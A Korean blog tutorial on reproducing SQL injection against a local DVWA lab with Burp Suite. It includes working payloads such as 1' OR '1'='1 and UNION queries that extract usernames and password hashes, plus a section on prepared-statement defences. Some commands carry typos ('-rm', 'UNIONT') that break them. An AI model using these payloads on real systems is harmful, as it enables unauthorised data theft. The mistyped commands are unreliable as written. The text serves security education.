Burp Suite로 배우는 웹 해킹(1) - DVWA로 SQL Injection 실습하기

Minseok Jeon·2026년 7월 25일

Security Re:Boot

목록 보기
3/4
post-thumbnail

웹 해킹을 처음 배울 때 가장 좋은 방법은 직접 취약한 사이트를 하나 띄워놓고 공격을 해보는 것이라고 생각한다.
이번 글에서는 맥북에 DVWA라는 취약한 연습용 웹앱을 Docker로 띄우고, Burp Suite로 SQL Injection(SQLi)을 직접 재현해봤다.
단순히 "이렇게 하면 뚫린다"에서 그치지 않고, 왜 뚫리는지와 어떻게 막아야하는지까지 정리하고자한다.

시작 전에 짚고 넘어가자. 이 글의 모든 실습은 본인 소유의 로컬 환경에서만 진행했다. 허가받지 않은 시스템에 같은 행위를 하면 명백한 불법이다.
DVWA는 학습 목적으로 일부러 취약하게 만들어놓은 웹 애플리케이션이다.


0. 실습 환경

항목내용
호스트macOS(Intel)
대상 앱DVWA(Damn Vulnerable Web Application) v1.10
구동 방식Docker
도구Burp Suite Community Edition
난이도DVWA Security: Low

1. SQL Injection(SQLi)이란?

개념

SQL Injection(SQLi)은 사용자가 입력한 값이 SQL 쿼리 문자열에 그대로 섞여 들어갈 때 발생하는 취약점이다.
공격자는 입력값에 SQL 구문을 끼워넣어서, 개발자가 의도하지 않은 쿼리를 실행시킬 수 있게 되는 것이다.

왜 발생하는가?

핵심은 "명령어(SQL 구문)"와 "데이터(사용자 입력)"의 경계가 무너지는 것이다. 예시로 한번 봐보자.
어떤 서바가 아래와 같이 쿼리를 만든다고 하자.

// 취약한 코드 - 문자열을 그냥 이어붙인다
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

여기서 $id에 사용자 입력이 검증 없이 들어간다. 1을 넣으면 이렇게 된다.

-- 입력: 1
SELECT first_name, last_name FROM useres WHERE user_id = '1'

"user_id가 1인 사람을 찾아라." 정상적인 쿼리이다. 그런데 입력값에 따옴표와 SQL 문법을 끼워넣으면 쿼리의 구조 자체가 바뀐다.

-- 입력: 1' OR '1'='1
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1'

'1'='1'은 항상 참이다. 그래서 WHERE 조건 전체가 무력화되고, 결국 테이블의 모든 행이 반환된다.
이게 SQL Injection의 기본 원리이다.

공격으로 가능한 것

  • 비밀번호 없이 로그인 우회(인증 우회)
  • DB에 저장된 계정 및 비밀번호 등 정보 탈취
  • 경우에 따라 데이터 변조 및 삭제, 심하면 서버 장악

원리가 단순한데도 그 영향력이 커서, 웹 취약점 순위에서 늘 상위권을 차지하는 대표적인 취약점이다.


2. 환경 세팅

2-1. Docker로 DVWA 띄우기

Docker가 설치되어 있으면 명령어 한 줄로 끝낼 수 있다.

docker run -rm -it -p 8081:80 vulnerables/web-dvwa

  • -p 8081:80 - 사이트를 localhost:8081로 접속하게 매핑한다. 8081은 뒤에서 Burp Suite에서 사용할 포트라 일부러 피함.
  • --rm- 컨테이너를 종료하면 자동 삭제된다. 대신 껐다 켜면 DB가 초기화되므로, 다시 켤 때 아래 초기 설정을 매번 해줘야 한다.

DVWA에 접속한 후 하단의 Create / Reset Databse 버튼을 눌러 DB를 초기화하고, admin / password로 로그인한다.
로그인 후 DVWA Security 메뉴에서 난이도를 Low로 바꾼다. 기본값은 Impossible이라, 그대로 두면 방어 코드가 걸려서 아무리 시도해도 안 뚫린다. (이 Impossible 코드는 뒤에서 방어 방법을 설명할 때 다시 볼 예정이다.)

2-2. Burp Suite 프록시 붙이기

가장 간단한 방법은 Burp의 내장 브라우저를 사용하는 것이다. 그렇게 하면 프록시 설정이나 인증서 설치를 직접 할 필요가 없다.

  1. Burp Suite 실행 -> Temporary project -> Use Burp defaults
  2. Proxy > Intercept 탭에서 Open browser 클릭
  3. 열린 브라우저의 주소창에 http://localhost:8081 입력 및 접속

    이렇게 하면 해당 브라우저가 주고받는 모든 요청이 Burp를 경유하게 된다. 지나간 요청은 Proxy > HTTP history에 전부 기록된다.

3. SQL Injection 재현

3-1. 요청을 Repeater로 보내기

  1. DVWA의 SQL Injection 메뉴로 이동
  2. User ID 칸에 1을 넣고 Submit 버튼 클릭
  3. HTTP history에서 방금 요청을 찾아 우클릭 -> Send to Repeater 클릭

여기서 Repeater가 핵심 도구이다. 해당 도구를 사용하면 요청 하나를 저장해두고 값만 바꿔가며 반복해서 요청을 보낼 수 있게된다.

3-2. 페이로드 주입

Repeater에서 id 값을 다음으로 바꾼다.

1' OR '1'='1

3-3. URL 인코딩

Send를 누르면 처음엔 400 Bad Request가 뜬다.

GET /vulnerabilities/sqli/?id=1' OR '1'='1&Submit=Submit HTTP/1.1
-> 400 Bad Request

공격이 막힌것이 아니니 당황하지 말자.

'(따옴표), 공백, = 같은 특수문자가 URL 인코딩되지 않은 채 쿼리스트링에 들어가서, 서버가 요청 자체를 해석하지 못한 것이다.
즉 서버 문 앞에도 못 같 상태인 것이다.

해결은 간단하다.
Repeater에서 페이로드 부분(1' OR '1'='1)만 드래그해서 선택한 뒤 Ctrl + U(URL 인코딩 단축키)를 누르면 된다.

GET /vulnerabilities/sqli/?id=1'+OR+'1'%3d'1&Submit=Submit HTTP/1.1
→ 200 OK

3-4. 결과

원래 id=1만 넣으면 amdin 한 명만 나와야 정상이다. 그런데 `OR '1'='1을 주입하니 users 테이블의 모든 사용자가 반환됐다.

First name: admin        Surname: admin
First name: Gordon        Surname: Brown
First name: Hack        Surname: Me
First name: Pablo        Surname: Picasso
First name: Bob            Surname: Smith

WHERE 조건이 무력화되면서 전체 데이터가 노출이 된 것이다. SQL Injection 취약점이 확인된 것이다.

4. 다음 단계 - UNION 기반 데이터 추출하기

OR '1'='1은 취약점의 존재를 확인하는 단계이다. 실전에서는 더 나아가, UNION을 이용해 원래 쿼리에 없던 데이터(예: 비밀번호 해시)까지 끌어온다.

-- 1) 컬럼 개수 확정
1' ORDER BY 1-- -
1' ORDER BY 2-- -
1' ORDER BY 3-- -    -- 에러가 나기 직전 숫자가 컬럼 개수가 됨

-- 2) 출력되는 컬럼 위치 확인
1' UNIONT SELECT 1,2-- -

-- 3) 실제 데이터 추출
1' UNION SELECT user, password FROM users-- -

DVWA는 비밀번호를 MD5 해시로 저장하기 때문에, 추출한 해시를 크래킹 도구에 넣으면 평문까지 복원할 수 있다.
이 과정은 다음 편에서 제대로 다룰 예정이다.

-- -는 뒤에 오는 원래 쿼리를 주석 처리해서 무시하게 만드는 부분이다. MySQL에서는 -- 주석 뒤에 공백이 있어야 정상 동작하므로, 하이픈 뒤 공백을 반드시 넣어야 한다.


5. 방어 방법

보안에서 공격과 방어를 모두 알아야 해당 취약점에 대해 완벽히 이해했다 생각이 된다. 공격 재현만 알고 끝낸다면 그것을 반쪽짜리에 불과할 것이다.
그러니 방어 방법에 대해서도 알아보자.

5-1. Prepared Statement - 근본적인 해결책

핵심은 명령어와 값을 완전히 분리하는 것이다. 사용자가 무엇을 입력하든 그건 그저 순수한 "값"으로만 취급되고,
쿼리 구조에는 영향을 주지 못한다.

// 안전한 코드 - PDO Prepared Statement
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = ?");
$stmt->execute([$id]);

이렇게 하면 1' OR '1'='1을 통째로 넣어도, 그 문자열 전체가 하나의 user_id 값으로만 취급된다.
따옴표를 넣든 뭘 넣든 그냥 글자로만 볼 뿐, SQL Injection 공격이 성립되지 않는다.

실제로 앞에서 언급한 DVWA의 Impossible 난이도 코드를 보면 이 Prepared Statement 방식을 사용한다.
그래서 해당 난이도에서 아무리 시도해도 안 뚫리는 것이다.

5-2. 보조 대책

  • 입력값 검증: 숫자만 받는 칸이면 실제로 숫자인지 확인한다 (is_numeric() 등).
  • 최소 권한 원칙: DB 계정에 필요한 최소한의 권한만 준다. 웹 서비스용 계정에 테이블 삭제 권한까지 줄 이유는 없다.
  • 에러 메시지 은닉: DB 에러를 사용자에게 그대로 노출하지 않는다. 에러 내용이 곧 공격 힌트가 된다.
  • WAF(웹 방화벽): 알려지 공격 패턴을 걸러준다. 다만 근본적인 해결책이 아닌 보조적인 수단이다.

정리하면, Prepared Statement가 근본적인 해결책이고 나머지는 심층적인 방어를 위한 보조 수단이다. 입력값 필터링이나 WAF만 믿으면 우회 기법에 뚫릴 수 있다.


6. 마치며

이번 실습에서 확인한 내용을 정리하면 다음과 같다.

  • 사용자 입력이 SQL 쿼리에 직접 삽입될 때 생기는 SQL Injection의 원리
  • Burp Suite Repeater로 요청을 조작하는 흐름과, Ctrl+U URL 인코딩의 필요성
  • OR '1'='1으로 WHERE 조건을 무력화해 전체 데이터를 노출시키는 과정
  • Prepared Statement를 통한 근본적인 방어 방법

다음 편에서는 UNION 기반 인젝션으로 데이터베이스 구조를 열거하고, 비밀번호 해시를 추출 및 크래킹하는 과정을 다룰 예정이다.


본 실습은 로컬 환경의 DVWA를 대상으로 진행했으며, 모든 내용은 학습 목적이다. 허가받지 않은 시스템에 대한 시도는 불법이다.

0개의 댓글